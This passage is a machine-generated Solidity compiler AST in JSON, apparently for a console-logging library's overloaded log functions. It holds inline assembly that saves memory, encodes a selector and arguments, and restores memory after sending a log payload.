ype":"YulTypedName","src":"97419:3:22","type":""},{"name":"w","nativeSrc":"97424:1:22","nodeType":"YulTypedName","src":"97424:1:22","type":""}],"src":"97398:342:22"},{"nativeSrc":"97753:17:22","nodeType":"YulAssignment","src":"97753:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97765:4:22","nodeType":"YulLiteral","src":"97765:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"97759:5:22","nodeType":"YulIdentifier","src":"97759:5:22"},"nativeSrc":"97759:11:22","nodeType":"YulFunctionCall","src":"97759:11:22"},"variableNames":[{"name":"m0","nativeSrc":"97753:2:22","nodeType":"YulIdentifier","src":"97753:2:22"}]},{"nativeSrc":"97783:17:22","nodeType":"YulAssignment","src":"97783:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97795:4:22","nodeType":"YulLiteral","src":"97795:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"97789:5:22","nodeType":"YulIdentifier","src":"97789:5:22"},"nativeSrc":"97789:11:22","nodeType":"YulFunctionCall","src":"97789:11:22"},"variableNames":[{"name":"m1","nativeSrc":"97783:2:22","nodeType":"YulIdentifier","src":"97783:2:22"}]},{"nativeSrc":"97813:17:22","nodeType":"YulAssignment","src":"97813:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97825:4:22","nodeType":"YulLiteral","src":"97825:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"97819:5:22","nodeType":"YulIdentifier","src":"97819:5:22"},"nativeSrc":"97819:11:22","nodeType":"YulFunctionCall","src":"97819:11:22"},"variableNames":[{"name":"m2","nativeSrc":"97813:2:22","nodeType":"YulIdentifier","src":"97813:2:22"}]},{"nativeSrc":"97843:17:22","nodeType":"YulAssignment","src":"97843:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97855:4:22","nodeType":"YulLiteral","src":"97855:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"97849:5:22","nodeType":"YulIdentifier","src":"97849:5:22"},"nativeSrc":"97849:11:22","nodeType":"YulFunctionCall","src":"97849:11:22"},"variableNames":[{"name":"m3","nativeSrc":"97843:2:22","nodeType":"YulIdentifier","src":"97843:2:22"}]},{"nativeSrc":"97873:17:22","nodeType":"YulAssignment","src":"97873:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97885:4:22","nodeType":"YulLiteral","src":"97885:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"97879:5:22","nodeType":"YulIdentifier","src":"97879:5:22"},"nativeSrc":"97879:11:22","nodeType":"YulFunctionCall","src":"97879:11:22"},"variableNames":[{"name":"m4","nativeSrc":"97873:2:22","nodeType":"YulIdentifier","src":"97873:2:22"}]},{"nativeSrc":"97903:17:22","nodeType":"YulAssignment","src":"97903:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97915:4:22","nodeType":"YulLiteral","src":"97915:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"97909:5:22","nodeType":"YulIdentifier","src":"97909:5:22"},"nativeSrc":"97909:11:22","nodeType":"YulFunctionCall","src":"97909:11:22"},"variableNames":[{"name":"m5","nativeSrc":"97903:2:22","nodeType":"YulIdentifier","src":"97903:2:22"}]},{"nativeSrc":"97933:17:22","nodeType":"YulAssignment","src":"97933:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"97945:4:22","nodeType":"YulLiteral","src":"97945:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"97939:5:22","nodeType":"YulIdentifier","src":"97939:5:22"},"nativeSrc":"97939:11:22","nodeType":"YulFunctionCall","src":"97939:11:22"},"variableNames":[{"name":"m6","nativeSrc":"97933:2:22","nodeType":"YulIdentifier","src":"97933:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98036:4:22","nodeType":"YulLiteral","src":"98036:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"98042:10:22","nodeType":"YulLiteral","src":"98042:10:22","type":"","value":"0xef1cefe7"}],"functionName":{"name":"mstore","nativeSrc":"98029:6:22","nodeType":"YulIdentifier","src":"98029:6:22"},"nativeSrc":"98029:24:22","nodeType":"YulFunctionCall","src":"98029:24:22"},"nativeSrc":"98029:24:22","nodeType":"YulExpressionStatement","src":"98029:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98073:4:22","nodeType":"YulLiteral","src":"98073:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"98079:2:22","nodeType":"YulIdentifier","src":"98079:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98066:6:22","nodeType":"YulIdentifier","src":"98066:6:22"},"nativeSrc":"98066:16:22","nodeType":"YulFunctionCall","src":"98066:16:22"},"nativeSrc":"98066:16:22","nodeType":"YulExpressionStatement","src":"98066:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98102:4:22","nodeType":"YulLiteral","src":"98102:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"98108:2:22","nodeType":"YulIdentifier","src":"98108:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98095:6:22","nodeType":"YulIdentifier","src":"98095:6:22"},"nativeSrc":"98095:16:22","nodeType":"YulFunctionCall","src":"98095:16:22"},"nativeSrc":"98095:16:22","nodeType":"YulExpressionStatement","src":"98095:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98131:4:22","nodeType":"YulLiteral","src":"98131:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"98137:4:22","nodeType":"YulLiteral","src":"98137:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"98124:6:22","nodeType":"YulIdentifier","src":"98124:6:22"},"nativeSrc":"98124:18:22","nodeType":"YulFunctionCall","src":"98124:18:22"},"nativeSrc":"98124:18:22","nodeType":"YulExpressionStatement","src":"98124:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98162:4:22","nodeType":"YulLiteral","src":"98162:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"98168:2:22","nodeType":"YulIdentifier","src":"98168:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98155:6:22","nodeType":"YulIdentifier","src":"98155:6:22"},"nativeSrc":"98155:16:22","nodeType":"YulFunctionCall","src":"98155:16:22"},"nativeSrc":"98155:16:22","nodeType":"YulExpressionStatement","src":"98155:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98196:4:22","nodeType":"YulLiteral","src":"98196:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"98202:2:22","nodeType":"YulIdentifier","src":"98202:2:22"}],"functionName":{"name":"writeString","nativeSrc":"98184:11:22","nodeType":"YulIdentifier","src":"98184:11:22"},"nativeSrc":"98184:21:22","nodeType":"YulFunctionCall","src":"98184:21:22"},"nativeSrc":"98184:21:22","nodeType":"YulExpressionStatement","src":"98184:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36864,"isOffset":false,"isSlot":false,"src":"97753:2:22","valueSize":1},{"declaration":36867,"isOffset":false,"isSlot":false,"src":"97783:2:22","valueSize":1},{"declaration":36870,"isOffset":false,"isSlot":false,"src":"97813:2:22","valueSize":1},{"declaration":36873,"isOffset":false,"isSlot":false,"src":"97843:2:22","valueSize":1},{"declaration":36876,"isOffset":false,"isSlot":false,"src":"97873:2:22","valueSize":1},{"declaration":36879,"isOffset":false,"isSlot":false,"src":"97903:2:22","valueSize":1},{"declaration":36882,"isOffset":false,"isSlot":false,"src":"97933:2:22","valueSize":1},{"declaration":36854,"isOffset":false,"isSlot":false,"src":"98079:2:22","valueSize":1},{"declaration":36856,"isOffset":false,"isSlot":false,"src":"98108:2:22","valueSize":1},{"declaration":36858,"isOffset":false,"isSlot":false,"src":"98202:2:22","valueSize":1},{"declaration":36860,"isOffset":false,"isSlot":false,"src":"98168:2:22","valueSize":1}],"id":36884,"nodeType":"InlineAssembly","src":"97375:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"98240:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":36887,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"98246:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":36885,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"98224:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"98224:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36889,"nodeType":"ExpressionStatement","src":"98224:27:22"},{"AST":{"nativeSrc":"98270:214:22","nodeType":"YulBlock","src":"98270:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"98291:4:22","nodeType":"YulLiteral","src":"98291:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"98297:2:22","nodeType":"YulIdentifier","src":"98297:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98284:6:22","nodeType":"YulIdentifier","src":"98284:6:22"},"nativeSrc":"98284:16:22","nodeType":"YulFunctionCall","src":"98284:16:22"},"nativeSrc":"98284:16:22","nodeType":"YulExpressionStatement","src":"98284:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98320:4:22","nodeType":"YulLiteral","src":"98320:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"98326:2:22","nodeType":"YulIdentifier","src":"98326:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98313:6:22","nodeType":"YulIdentifier","src":"98313:6:22"},"nativeSrc":"98313:16:22","nodeType":"YulFunctionCall","src":"98313:16:22"},"nativeSrc":"98313:16:22","nodeType":"YulExpressionStatement","src":"98313:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98349:4:22","nodeType":"YulLiteral","src":"98349:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"98355:2:22","nodeType":"YulIdentifier","src":"98355:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98342:6:22","nodeType":"YulIdentifier","src":"98342:6:22"},"nativeSrc":"98342:16:22","nodeType":"YulFunctionCall","src":"98342:16:22"},"nativeSrc":"98342:16:22","nodeType":"YulExpressionStatement","src":"98342:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98378:4:22","nodeType":"YulLiteral","src":"98378:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"98384:2:22","nodeType":"YulIdentifier","src":"98384:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98371:6:22","nodeType":"YulIdentifier","src":"98371:6:22"},"nativeSrc":"98371:16:22","nodeType":"YulFunctionCall","src":"98371:16:22"},"nativeSrc":"98371:16:22","nodeType":"YulExpressionStatement","src":"98371:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98407:4:22","nodeType":"YulLiteral","src":"98407:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"98413:2:22","nodeType":"YulIdentifier","src":"98413:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98400:6:22","nodeType":"YulIdentifier","src":"98400:6:22"},"nativeSrc":"98400:16:22","nodeType":"YulFunctionCall","src":"98400:16:22"},"nativeSrc":"98400:16:22","nodeType":"YulExpressionStatement","src":"98400:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98436:4:22","nodeType":"YulLiteral","src":"98436:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"98442:2:22","nodeType":"YulIdentifier","src":"98442:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98429:6:22","nodeType":"YulIdentifier","src":"98429:6:22"},"nativeSrc":"98429:16:22","nodeType":"YulFunctionCall","src":"98429:16:22"},"nativeSrc":"98429:16:22","nodeType":"YulExpressionStatement","src":"98429:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"98465:4:22","nodeType":"YulLiteral","src":"98465:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"98471:2:22","nodeType":"YulIdentifier","src":"98471:2:22"}],"functionName":{"name":"mstore","nativeSrc":"98458:6:22","nodeType":"YulIdentifier","src":"98458:6:22"},"nativeSrc":"98458:16:22","nodeType":"YulFunctionCall","src":"98458:16:22"},"nativeSrc":"98458:16:22","nodeType":"YulExpressionStatement","src":"98458:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36864,"isOffset":false,"isSlot":false,"src":"98297:2:22","valueSize":1},{"declaration":36867,"isOffset":false,"isSlot":false,"src":"98326:2:22","valueSize":1},{"declaration":36870,"isOffset":false,"isSlot":false,"src":"98355:2:22","valueSize":1},{"declaration":36873,"isOffset":false,"isSlot":false,"src":"98384:2:22","valueSize":1},{"declaration":36876,"isOffset":false,"isSlot":false,"src":"98413:2:22","valueSize":1},{"declaration":36879,"isOffset":false,"isSlot":false,"src":"98442:2:22","valueSize":1},{"declaration":36882,"isOffset":false,"isSlot":false,"src":"98471:2:22","valueSize":1}],"id":36890,"nodeType":"InlineAssembly","src":"98261:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"97159:3:22","parameters":{"id":36861,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36854,"mutability":"mutable","name":"p0","nameLocation":"97171:2:22","nodeType":"VariableDeclaration","scope":36892,"src":"97163:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36853,"name":"address","nodeType":"ElementaryTypeName","src":"97163:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36856,"mutability":"mutable","name":"p1","nameLocation":"97183:2:22","nodeType":"VariableDeclaration","scope":36892,"src":"97175:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36855,"name":"address","nodeType":"ElementaryTypeName","src":"97175:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36858,"mutability":"mutable","name":"p2","nameLocation":"97195:2:22","nodeType":"VariableDeclaration","scope":36892,"src":"97187:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36857,"name":"bytes32","nodeType":"ElementaryTypeName","src":"97187:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36860,"mutability":"mutable","name":"p3","nameLocation":"97207:2:22","nodeType":"VariableDeclaration","scope":36892,"src":"97199:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36859,"name":"uint256","nodeType":"ElementaryTypeName","src":"97199:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"97162:48:22"},"returnParameters":{"id":36862,"nodeType":"ParameterList","parameters":[],"src":"97225:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36938,"nodeType":"FunctionDefinition","src":"98496:1536:22","nodes":[],"body":{"id":36937,"nodeType":"Block","src":"98571:1461:22","nodes":[],"statements":[{"assignments":[36904],"declarations":[{"constant":false,"id":36904,"mutability":"mutable","name":"m0","nameLocation":"98589:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98581:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36903,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98581:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36905,"nodeType":"VariableDeclarationStatement","src":"98581:10:22"},{"assignments":[36907],"declarations":[{"constant":false,"id":36907,"mutability":"mutable","name":"m1","nameLocation":"98609:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98601:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36906,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98601:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36908,"nodeType":"VariableDeclarationStatement","src":"98601:10:22"},{"assignments":[36910],"declarations":[{"constant":false,"id":36910,"mutability":"mutable","name":"m2","nameLocation":"98629:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98621:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36909,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98621:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36911,"nodeType":"VariableDeclarationStatement","src":"98621:10:22"},{"assignments":[36913],"declarations":[{"constant":false,"id":36913,"mutability":"mutable","name":"m3","nameLocation":"98649:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98641:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36912,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98641:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36914,"nodeType":"VariableDeclarationStatement","src":"98641:10:22"},{"assignments":[36916],"declarations":[{"constant":false,"id":36916,"mutability":"mutable","name":"m4","nameLocation":"98669:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98661:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36915,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98661:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36917,"nodeType":"VariableDeclarationStatement","src":"98661:10:22"},{"assignments":[36919],"declarations":[{"constant":false,"id":36919,"mutability":"mutable","name":"m5","nameLocation":"98689:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98681:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36918,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98681:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36920,"nodeType":"VariableDeclarationStatement","src":"98681:10:22"},{"assignments":[36922],"declarations":[{"constant":false,"id":36922,"mutability":"mutable","name":"m6","nameLocation":"98709:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98701:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36921,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98701:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36923,"nodeType":"VariableDeclarationStatement","src":"98701:10:22"},{"assignments":[36925],"declarations":[{"constant":false,"id":36925,"mutability":"mutable","name":"m7","nameLocation":"98729:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98721:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36924,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98721:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36926,"nodeType":"VariableDeclarationStatement","src":"98721:10:22"},{"assignments":[36928],"declarations":[{"constant":false,"id":36928,"mutability":"mutable","name":"m8","nameLocation":"98749:2:22","nodeType":"VariableDeclaration","scope":36937,"src":"98741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36927,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98741:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36929,"nodeType":"VariableDeclarationStatement","src":"98741:10:22"},{"AST":{"nativeSrc":"98770:927:22","nodeType":"YulBlock","src":"98770:927:22","statements":[{"body":{"nativeSrc":"98813:313:22","nodeType":"YulBlock","src":"98813:313:22","statements":[{"nativeSrc":"98831:15:22","nodeType":"YulVariableDeclaration","src":"98831:15:22","value":{"kind":"number","nativeSrc":"98845:1:22","nodeType":"YulLiteral","src":"98845:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"98835:6:22","nodeType":"YulTypedName","src":"98835:6:22","type":""}]},{"body":{"nativeSrc":"98916:40:22","nodeType":"YulBlock","src":"98916:40:22","statements":[{"body":{"nativeSrc":"98945:9:22","nodeType":"YulBlock","src":"98945:9:22","statements":[{"nativeSrc":"98947:5:22","nodeType":"YulBreak","src":"98947:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"98933:6:22","nodeType":"YulIdentifier","src":"98933:6:22"},{"name":"w","nativeSrc":"98941:1:22","nodeType":"YulIdentifier","src":"98941:1:22"}],"functionName":{"name":"byte","nativeSrc":"98928:4:22","nodeType":"YulIdentifier","src":"98928:4:22"},"nativeSrc":"98928:15:22","nodeType":"YulFunctionCall","src":"98928:15:22"}],"functionName":{"name":"iszero","nativeSrc":"98921:6:22","nodeType":"YulIdentifier","src":"98921:6:22"},"nativeSrc":"98921:23:22","nodeType":"YulFunctionCall","src":"98921:23:22"},"nativeSrc":"98918:36:22","nodeType":"YulIf","src":"98918:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"98873:6:22","nodeType":"YulIdentifier","src":"98873:6:22"},{"kind":"number","nativeSrc":"98881:4:22","nodeType":"YulLiteral","src":"98881:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"98870:2:22","nodeType":"YulIdentifier","src":"98870:2:22"},"nativeSrc":"98870:16:22","nodeType":"YulFunctionCall","src":"98870:16:22"},"nativeSrc":"98863:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"98887:28:22","nodeType":"YulBlock","src":"98887:28:22","statements":[{"nativeSrc":"98889:24:22","nodeType":"YulAssignment","src":"98889:24:22","value":{"arguments":[{"name":"length","nativeSrc":"98903:6:22","nodeType":"YulIdentifier","src":"98903:6:22"},{"kind":"number","nativeSrc":"98911:1:22","nodeType":"YulLiteral","src":"98911:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"98899:3:22","nodeType":"YulIdentifier","src":"98899:3:22"},"nativeSrc":"98899:14:22","nodeType":"YulFunctionCall","src":"98899:14:22"},"variableNames":[{"name":"length","nativeSrc":"98889:6:22","nodeType":"YulIdentifier","src":"98889:6:22"}]}]},"pre":{"nativeSrc":"98867:2:22","nodeType":"YulBlock","src":"98867:2:22","statements":[]},"src":"98863:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"98980:3:22","nodeType":"YulIdentifier","src":"98980:3:22"},{"name":"length","nativeSrc":"98985:6:22","nodeType":"YulIdentifier","src":"98985:6:22"}],"functionName":{"name":"mstore","nativeSrc":"98973:6:22","nodeType":"YulIdentifier","src":"98973:6:22"},"nativeSrc":"98973:19:22","nodeType":"YulFunctionCall","src":"98973:19:22"},"nativeSrc":"98973:19:22","nodeType":"YulExpressionStatement","src":"98973:19:22"},{"nativeSrc":"99009:37:22","nodeType":"YulVariableDeclaration","src":"99009:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"99026:3:22","nodeType":"YulLiteral","src":"99026:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"99035:1:22","nodeType":"YulLiteral","src":"99035:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"99038:6:22","nodeType":"YulIdentifier","src":"99038:6:22"}],"functionName":{"name":"shl","nativeSrc":"99031:3:22","nodeType":"YulIdentifier","src":"99031:3:22"},"nativeSrc":"99031:14:22","nodeType":"YulFunctionCall","src":"99031:14:22"}],"functionName":{"name":"sub","nativeSrc":"99022:3:22","nodeType":"YulIdentifier","src":"99022:3:22"},"nativeSrc":"99022:24:22","nodeType":"YulFunctionCall","src":"99022:24:22"},"variables":[{"name":"shift","nativeSrc":"99013:5:22","nodeType":"YulTypedName","src":"99013:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"99074:3:22","nodeType":"YulIdentifier","src":"99074:3:22"},{"kind":"number","nativeSrc":"99079:4:22","nodeType":"YulLiteral","src":"99079:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"99070:3:22","nodeType":"YulIdentifier","src":"99070:3:22"},"nativeSrc":"99070:14:22","nodeType":"YulFunctionCall","src":"99070:14:22"},{"arguments":[{"name":"shift","nativeSrc":"99090:5:22","nodeType":"YulIdentifier","src":"99090:5:22"},{"arguments":[{"name":"shift","nativeSrc":"99101:5:22","nodeType":"YulIdentifier","src":"99101:5:22"},{"name":"w","nativeSrc":"99108:1:22","nodeType":"YulIdentifier","src":"99108:1:22"}],"functionName":{"name":"shr","nativeSrc":"99097:3:22","nodeType":"YulIdentifier","src":"99097:3:22"},"nativeSrc":"99097:13:22","nodeType":"YulFunctionCall","src":"99097:13:22"}],"functionName":{"name":"shl","nativeSrc":"99086:3:22","nodeType":"YulIdentifier","src":"99086:3:22"},"nativeSrc":"99086:25:22","nodeType":"YulFunctionCall","src":"99086:25:22"}],"functionName":{"name":"mstore","nativeSrc":"99063:6:22","nodeType":"YulIdentifier","src":"99063:6:22"},"nativeSrc":"99063:49:22","nodeType":"YulFunctionCall","src":"99063:49:22"},"nativeSrc":"99063:49:22","nodeType":"YulExpressionStatement","src":"99063:49:22"}]},"name":"writeString","nativeSrc":"98784:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"98805:3:22","nodeType":"YulTypedName","src":"98805:3:22","type":""},{"name":"w","nativeSrc":"98810:1:22","nodeType":"YulTypedName","src":"98810:1:22","type":""}],"src":"98784:342:22"},{"nativeSrc":"99139:17:22","nodeType":"YulAssignment","src":"99139:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99151:4:22","nodeType":"YulLiteral","src":"99151:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"99145:5:22","nodeType":"YulIdentifier","src":"99145:5:22"},"nativeSrc":"99145:11:22","nodeType":"YulFunctionCall","src":"99145:11:22"},"variableNames":[{"name":"m0","nativeSrc":"99139:2:22","nodeType":"YulIdentifier","src":"99139:2:22"}]},{"nativeSrc":"99169:17:22","nodeType":"YulAssignment","src":"99169:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99181:4:22","nodeType":"YulLiteral","src":"99181:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"99175:5:22","nodeType":"YulIdentifier","src":"99175:5:22"},"nativeSrc":"99175:11:22","nodeType":"YulFunctionCall","src":"99175:11:22"},"variableNames":[{"name":"m1","nativeSrc":"99169:2:22","nodeType":"YulIdentifier","src":"99169:2:22"}]},{"nativeSrc":"99199:17:22","nodeType":"YulAssignment","src":"99199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99211:4:22","nodeType":"YulLiteral","src":"99211:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"99205:5:22","nodeType":"YulIdentifier","src":"99205:5:22"},"nativeSrc":"99205:11:22","nodeType":"YulFunctionCall","src":"99205:11:22"},"variableNames":[{"name":"m2","nativeSrc":"99199:2:22","nodeType":"YulIdentifier","src":"99199:2:22"}]},{"nativeSrc":"99229:17:22","nodeType":"YulAssignment","src":"99229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99241:4:22","nodeType":"YulLiteral","src":"99241:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"99235:5:22","nodeType":"YulIdentifier","src":"99235:5:22"},"nativeSrc":"99235:11:22","nodeType":"YulFunctionCall","src":"99235:11:22"},"variableNames":[{"name":"m3","nativeSrc":"99229:2:22","nodeType":"YulIdentifier","src":"99229:2:22"}]},{"nativeSrc":"99259:17:22","nodeType":"YulAssignment","src":"99259:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99271:4:22","nodeType":"YulLiteral","src":"99271:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"99265:5:22","nodeType":"YulIdentifier","src":"99265:5:22"},"nativeSrc":"99265:11:22","nodeType":"YulFunctionCall","src":"99265:11:22"},"variableNames":[{"name":"m4","nativeSrc":"99259:2:22","nodeType":"YulIdentifier","src":"99259:2:22"}]},{"nativeSrc":"99289:17:22","nodeType":"YulAssignment","src":"99289:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99301:4:22","nodeType":"YulLiteral","src":"99301:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"99295:5:22","nodeType":"YulIdentifier","src":"99295:5:22"},"nativeSrc":"99295:11:22","nodeType":"YulFunctionCall","src":"99295:11:22"},"variableNames":[